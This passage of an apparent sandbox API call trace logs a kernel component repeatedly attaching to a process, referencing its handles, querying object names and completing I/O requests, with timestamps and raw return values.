ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0132.241] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.241] PsReleaseProcessExitSynchronization () returned 0x2 [0132.241] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.241] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.242] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0132.242] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.242] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.242] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.242] PsAcquireProcessExitSynchronization () returned 0x0 [0132.242] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.242] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0132.242] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.242] PsReleaseProcessExitSynchronization () returned 0x2 [0132.242] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.242] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.242] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0132.242] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.242] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.242] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.242] PsAcquireProcessExitSynchronization () returned 0x0 [0132.242] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.242] ObReferenceObjectByHandle (in: Handle=0x418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aaf2e0, HandleInformation=0x0) returned 0x0 [0132.242] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.243] PsReleaseProcessExitSynchronization () returned 0x2 [0132.243] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.243] ObQueryNameString (in: Object=0xfffff8a001aaf2e0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.243] ObfDereferenceObject (Object=0xfffff8a001aaf2e0) returned 0x2 [0132.243] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.243] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.243] PsAcquireProcessExitSynchronization () returned 0x0 [0132.243] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.243] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aa1cc0, HandleInformation=0x0) returned 0x0 [0132.243] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.243] PsReleaseProcessExitSynchronization () returned 0x2 [0132.243] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.243] ObQueryNameString (in: Object=0xfffff8a001aa1cc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.243] ObfDereferenceObject (Object=0xfffff8a001aa1cc0) returned 0x2 [0132.243] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.243] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.243] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.243] PsAcquireProcessExitSynchronization () returned 0x0 [0132.243] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.243] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aa1c00, HandleInformation=0x0) returned 0x0 [0132.243] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.243] PsReleaseProcessExitSynchronization () returned 0x2 [0132.244] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.244] ObQueryNameString (in: Object=0xfffff8a001aa1c00, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0132.244] ObfDereferenceObject (Object=0xfffff8a001aa1c00) returned 0x2 [0132.244] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.244] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.244] PsAcquireProcessExitSynchronization () returned 0x0 [0132.244] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.244] ObReferenceObjectByHandle (in: Handle=0x484, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020b9880, HandleInformation=0x0) returned 0x0 [0132.244] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.244] PsReleaseProcessExitSynchronization () returned 0x2 [0132.244] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.244] ObfDereferenceObject (Object=0xfffffa80020b9880) returned 0xe [0132.244] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.244] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.244] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.244] PsAcquireProcessExitSynchronization () returned 0x0 [0132.244] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.244] ObReferenceObjectByHandle (in: Handle=0x494, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0132.245] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.245] PsReleaseProcessExitSynchronization () returned 0x2 [0132.245] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.245] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.245] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x2 [0132.245] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.245] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.245] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.245] PsAcquireProcessExitSynchronization () returned 0x0 [0132.245] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.245] ObReferenceObjectByHandle (in: Handle=0x4ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0132.245] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.245] PsReleaseProcessExitSynchronization () returned 0x2 [0132.245] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.245] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.245] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0132.245] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.245] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.245] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.245] PsAcquireProcessExitSynchronization () returned 0x0 [0132.245] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.245] ObReferenceObjectByHandle (in: Handle=0x4cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800206b070, HandleInformation=0x0) returned 0x0 [0132.245] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.245] PsReleaseProcessExitSynchronization () returned 0x2 [0132.246] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.246] ObQueryNameString (in: Object=0xfffffa800206b070, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.246] ObfDereferenceObject (Object=0xfffffa800206b070) returned 0x11 [0132.246] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.246] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.246] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.246] PsAcquireProcessExitSynchronization () returned 0x0 [0132.246] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.246] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a28d00, HandleInformation=0x0) returned 0x0 [0132.246] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.246] PsReleaseProcessExitSynchronization () returned 0x2 [0132.246] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.246] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.246] ObfDereferenceObject (Object=0xfffffa8001a28d00) returned 0x1 [0132.246] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.246] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.246] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.246] PsAcquireProcessExitSynchronization () returned 0x0 [0132.246] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.246] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035185e0, HandleInformation=0x0) returned 0x0 [0132.246] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.246] PsReleaseProcessExitSynchronization () returned 0x2 [0132.246] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.246] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.246] ObfDereferenceObject (Object=0xfffffa80035185e0) returned 0x1 [0132.246] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.247] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.247] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.247] PsAcquireProcessExitSynchronization () returned 0x0 [0132.247] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.247] ObReferenceObjectByHandle (in: Handle=0x5a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0132.247] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.247] PsReleaseProcessExitSynchronization () returned 0x2 [0132.247] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.247] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.247] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0132.247] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.247] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.247] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.247] PsAcquireProcessExitSynchronization () returned 0x0 [0132.247] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.247] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0132.247] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.247] PsReleaseProcessExitSynchronization () returned 0x2 [0132.247] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.247] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.247] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0132.247] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.247] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.247] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.248] PsAcquireProcessExitSynchronization () returned 0x0 [0132.248] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.248] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003532dd0, HandleInformation=0x0) returned 0x0 [0132.248] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.248] PsReleaseProcessExitSynchronization () returned 0x2 [0132.248] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.248] ObQueryNameString (in: Object=0xfffffa8003532dd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.248] ObfDereferenceObject (Object=0xfffffa8003532dd0) returned 0x11 [0132.248] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.248] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.248] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.248] PsAcquireProcessExitSynchronization () returned 0x0 [0132.248] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.248] ObReferenceObjectByHandle (in: Handle=0x610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800354bf20, HandleInformation=0x0) returned 0x0 [0132.248] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.248] PsReleaseProcessExitSynchronization () returned 0x2 [0132.248] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.248] ObQueryNameString (in: Object=0xfffffa800354bf20, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.248] ObfDereferenceObject (Object=0xfffffa800354bf20) returned 0x11 [0132.248] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.248] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.248] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.249] PsAcquireProcessExitSynchronization () returned 0x0 [0132.249] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.249] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032b7610, HandleInformation=0x0) returned 0x0 [0132.249] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.249] PsReleaseProcessExitSynchronization () returned 0x2 [0132.249] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.249] ObQueryNameString (in: Object=0xfffffa80032b7610, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0132.249] ObfDereferenceObject (Object=0xfffffa80032b7610) returned 0x1 [0132.249] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.249] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.249] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.249] PsAcquireProcessExitSynchronization () returned 0x0 [0132.249] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.249] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001b1e840, HandleInformation=0x0) returned 0x0 [0132.249] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.249] PsReleaseProcessExitSynchronization () returned 0x2 [0132.249] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.249] ObQueryNameString (in: Object=0xfffff8a001b1e840, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.249] ObfDereferenceObject (Object=0xfffff8a001b1e840) returned 0x2 [0132.249] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.249] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.249] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.249] PsAcquireProcessExitSynchronization () returned 0x0 [0132.250] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.250] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035a59d0, HandleInformation=0x0) returned 0x0 [0132.250] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.250] PsReleaseProcessExitSynchronization () returned 0x2 [0132.250] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.250] ObQueryNameString (in: Object=0xfffffa80035a59d0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0132.250] ObfDereferenceObject (Object=0xfffffa80035a59d0) returned 0x10 [0132.250] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.250] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.250] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.250] PsAcquireProcessExitSynchronization () returned 0x0 [0132.250] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.250] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003570070, HandleInformation=0x0) returned 0x0 [0132.250] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.250] PsReleaseProcessExitSynchronization () returned 0x2 [0132.250] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.250] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.250] ObfDereferenceObject (Object=0xfffffa8003570070) returned 0x1 [0132.250] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.250] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.250] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.251] PsAcquireProcessExitSynchronization () returned 0x0 [0132.251] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.251] ObReferenceObjectByHandle (in: Handle=0x694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003586f20, HandleInformation=0x0) returned 0x0 [0132.251] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.251] PsReleaseProcessExitSynchronization () returned 0x2 [0132.251] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.251] ObQueryNameString (in: Object=0xfffffa8003586f20, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.251] ObfDereferenceObject (Object=0xfffffa8003586f20) returned 0x1 [0132.251] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.251] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.251] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.251] PsAcquireProcessExitSynchronization () returned 0x0 [0132.251] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.251] ObReferenceObjectByHandle (in: Handle=0x6e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00207bc00, HandleInformation=0x0) returned 0x0 [0132.251] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.251] PsReleaseProcessExitSynchronization () returned 0x2 [0132.251] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.251] ObQueryNameString (in: Object=0xfffff8a00207bc00, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.251] ObfDereferenceObject (Object=0xfffff8a00207bc00) returned 0x2 [0132.251] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.251] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.251] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.252] PsAcquireProcessExitSynchronization () returned 0x0 [0132.252] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.252] ObReferenceObjectByHandle (in: Handle=0x6f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002092c20, HandleInformation=0x0) returned 0x0 [0132.252] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.252] PsReleaseProcessExitSynchronization () returned 0x2 [0132.252] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.252] ObQueryNameString (in: Object=0xfffff8a002092c20, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.252] ObfDereferenceObject (Object=0xfffff8a002092c20) returned 0x2 [0132.252] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.252] HeapFree (in: hHeap=0x190000, 